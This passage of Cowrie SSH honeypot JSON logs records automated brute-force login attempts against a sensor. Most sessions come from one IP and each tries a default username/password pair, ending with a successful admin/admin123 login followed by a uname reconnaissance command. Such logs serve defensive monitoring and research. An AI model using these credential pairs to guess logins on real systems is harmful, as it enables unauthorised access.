0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:08.066938Z","src_ip":"192.109.200.237","session":"a8e6e9bced61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:08.318037Z","src_ip":"192.109.200.237","session":"a8e6e9bced61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:09.404069Z","src_ip":"192.109.200.237","session":"a8e6e9bced61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59422,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e19bafd840e","protocol":"ssh","message":"New connection: 192.109.200.237:59422 (159.203.135.109:22) [session: 5e19bafd840e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:11.076939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:11.082179Z","src_ip":"192.109.200.237","session":"5e19bafd840e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:11.168224Z","src_ip":"192.109.200.237","session":"5e19bafd840e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:11.415853Z","src_ip":"192.109.200.237","session":"5e19bafd840e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:12.500846Z","src_ip":"192.109.200.237","session":"5e19bafd840e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59438,"dst_ip":"159.203.135.109","dst_port":22,"session":"16efb0960c9f","protocol":"ssh","message":"New connection: 192.109.200.237:59438 (159.203.135.109:22) [session: 16efb0960c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:14.170359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:14.258728Z","src_ip":"192.109.200.237","session":"16efb0960c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:14.263029Z","src_ip":"192.109.200.237","session":"16efb0960c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:14.603376Z","src_ip":"192.109.200.237","session":"16efb0960c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:15.690719Z","src_ip":"192.109.200.237","session":"16efb0960c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59442,"dst_ip":"159.203.135.109","dst_port":22,"session":"2961e38f125b","protocol":"ssh","message":"New connection: 192.109.200.237:59442 (159.203.135.109:22) [session: 2961e38f125b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:17.357116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:17.361887Z","src_ip":"192.109.200.237","session":"2961e38f125b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:17.444259Z","src_ip":"192.109.200.237","session":"2961e38f125b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:17.690378Z","src_ip":"192.109.200.237","session":"2961e38f125b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:18.776410Z","src_ip":"192.109.200.237","session":"2961e38f125b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38332,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c7d6822232","protocol":"ssh","message":"New connection: 192.109.200.237:38332 (159.203.135.109:22) [session: 27c7d6822232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:20.363737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:20.368681Z","src_ip":"192.109.200.237","session":"27c7d6822232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:20.450957Z","src_ip":"192.109.200.237","session":"27c7d6822232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:20.705136Z","src_ip":"192.109.200.237","session":"27c7d6822232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:21.834189Z","src_ip":"192.109.200.237","session":"27c7d6822232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"2128b0921d96","protocol":"ssh","message":"New connection: 192.109.200.237:38334 (159.203.135.109:22) [session: 2128b0921d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:23.409587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:23.414350Z","src_ip":"192.109.200.237","session":"2128b0921d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:23.499739Z","src_ip":"192.109.200.237","session":"2128b0921d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:23.873877Z","src_ip":"192.109.200.237","session":"2128b0921d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:24.959422Z","src_ip":"192.109.200.237","session":"2128b0921d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38340,"dst_ip":"159.203.135.109","dst_port":22,"session":"504624e0757b","protocol":"ssh","message":"New connection: 192.109.200.237:38340 (159.203.135.109:22) [session: 504624e0757b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:26.629710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:26.634218Z","src_ip":"192.109.200.237","session":"504624e0757b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:26.715854Z","src_ip":"192.109.200.237","session":"504624e0757b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:26.961736Z","src_ip":"192.109.200.237","session":"504624e0757b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":38360,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ec6c14b9a7","protocol":"ssh","message":"New connection: 94.159.110.201:38360 (159.203.135.109:22) [session: 81ec6c14b9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:27.663363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:27.668551Z","src_ip":"94.159.110.201","session":"81ec6c14b9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:27.790423Z","src_ip":"94.159.110.201","session":"81ec6c14b9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:28.048886Z","src_ip":"192.109.200.237","session":"504624e0757b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789d","message":"login attempt [root/123456789d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:28.149511Z","src_ip":"94.159.110.201","session":"81ec6c14b9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:29.271339Z","src_ip":"94.159.110.201","session":"81ec6c14b9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38356,"dst_ip":"159.203.135.109","dst_port":22,"session":"660a8622d3be","protocol":"ssh","message":"New connection: 192.109.200.237:38356 (159.203.135.109:22) [session: 660a8622d3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:29.720506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:29.726030Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:29.808735Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:30.053766Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:30.270275Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:30.274295Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:30.360687Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
